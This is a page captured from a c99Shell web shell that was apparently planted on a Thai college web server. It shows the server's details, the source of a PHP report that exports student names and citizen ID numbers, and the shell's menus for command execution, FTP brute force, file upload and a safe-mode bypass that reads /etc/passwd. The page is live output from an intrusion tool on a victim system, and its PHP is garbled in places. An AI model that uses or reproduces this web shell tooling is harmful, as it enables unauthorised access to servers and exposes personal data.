!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rptRis401.php (4.22 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<? $sStr=$eStr="";
if(isset(
$typeShow)){
    
header('Content-type: application/xls');
    
header('Content-Disposition: attachment; filename="testing.xls"');
    
$sStr="=T(\""$eStr="\")";
}

$cfgClgLogo = (! isset($cfgClgLogo)? "" $cfgClgLogo);
$cfgClgName = (! isset($cfgClgName)? "" $cfgClgName);
$cfgSiteName = (! isset($cfgSiteName)? "" $cfgSiteName);
?>
<table width="95%" align="center">
<? if(!isset($typeShow)){?>
    <tr valign="top"><td align="left" nowrap="nowrap">
        <input type="button" value="กลับ" onClick="location.href='<?php echo "searchRptRis401";?>'">
    <!-- <input type="button" value="กลับ" onclick="history.back()"/> -->
    </td>
        <td colspan="2" align="left" nowrap="nowrap">
        <? $attributes = array('target' => '_blank');
        echo 
form_open($this->config->item("rg_folder")."rpt_student/rptRis401Export",$attributes);?>
        <input type="submit"  name="exportB" id="exportB" value="ส่งออกเป็น Excel"/>
        <input type="hidden" name="curId" id="curId" value="<?=$curId;?>" />
        <input type="hidden" name="admitAcY" id="admitAcY" value="<?=$admitAcY;?>" />
        <?=form_close(); ?>
    </td></tr>
    <tr><td colspan="3" align="left"><hr/></td></tr>
<? ?>
    <tr>
        <td width="50"><img src="<?=base_url().$this->config->item('rg_upload_picture').$cfgClgLogo;?>" width="111" height="95" align="absmiddle" border="0"></td>
        <td width="450"><font size="2"><b><?=$cfgClgName;?><br><?=$cfgSiteName;?></b></font></td>
        <td width="200" align="right" valign="top"><font size="2"><b>RIS401</b></font></td>
    </tr>
    <tr valign="top">
        <td align="center" colspan="3"><hr color="#000000" noshade><br></td>
    </tr>
    <tr>
        <td colspan="3" height="22" align="center"><font size="3"><b>รายงานส่งธนาคาร เพื่อทำบัตรประจำตัวนักศึกษา</b></font></td>
    </tr>
    <tr>
        <td colspan="3" height="22"></td>
    </tr>
    <? if($qu_cur->num_rows()) { 
            
$row $qu_cur->row(); 
            
$curName=$row->curName;
            
$curNumStudyY=$row->curNumStudyY;
         }else{ 
$curName ""$curNumStudyY 0; }
    
?>
    <tr>
        <td colspan="3" height="22"><font size="2"><b>หลักสูตร</b> <?=$curName;?> (ปีการศึกษาที่เข้า <?=$admitAcY;?>)</font></td>
    </tr>
    <tr>
        <td colspan="3" height="22"></td>
    </tr>
    <tr>
        <td colspan="3">
            <table width="100%" border="1" cellspacing="0" cellpadding="2" bordercolor="#000000" style="border-collapse: collapse" align="center" <? if(!isset($typeShow)){?> class="headCol" <? }?>>
            <tr>
                <th>ที่</th>
                <th>รหัสนักศึกษา</th>
                <th>ชื่อ-สกุล (ไทย)</th>
                <th>ชื่อ-สกุล (อังกฤษ)</th>
                <th>เลขที่บัตรประชาชน</th>
                <th>วันออกบัตร</th>
                <th>วันหมดอายุ</th>
                <th>รหัสวิทยาลัย</th>
            </tr>
<?php
            $i 
0;
            if(
$rs_std->num_rows()) {
                foreach(
$rs_std->result() as $row) {
                echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center"><?=$i+1;?></td>
                <td align="center"><?=$row->stdCode;?></td>
                <td class="indent"><?=$row->prefixName.$row->stdName.' '.$row->stdSurname;?></td>
                <td class="indent"><?=strtoupper($row->prefixNameEng).$row->stdNameE.' '.$row->stdSurnameE;?></td>
                <td align="center"><?=$sStr.$row->sdtCitizenId.$eStr;?></td>
                <td align="center"><?=$sStr.abbreDate2(getNowDate()).$eStr;?></td>
                <td align="center"><?=$sStr.abbreDate2(intval($this->session->userdata('acY')+$curNumStudyY-543).'-'.$acCardExpiryMonth.'-'.$acCardExpiryDay).$eStr;?></td>
                <td align="center"><?=$sStr.$cfgClgCode.$eStr;?></td>
            </tr>
<?php
                $i
++;
            }
        }else{
?>
            <tr><td colspan='8' align="center"><span <? if(!isset($typeShow)){?> class="error" <? }?>> ไม่พบข้อมูล </span></td></tr>
<?php
            
}
?>
        </table></td>
    </tr>
    <tr valign="bottom">
        <td align="center" colspan="3" height="88"><hr color="#000000" noshade></td>
    </tr>
    <tr valign="top">
        <td colspan="2"><font size="2">วันที่พิมพ์ : <?php echo date('d-m-y h:m');?></font></td>
        <td align="right"><font size="2">หน้า 1/1</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--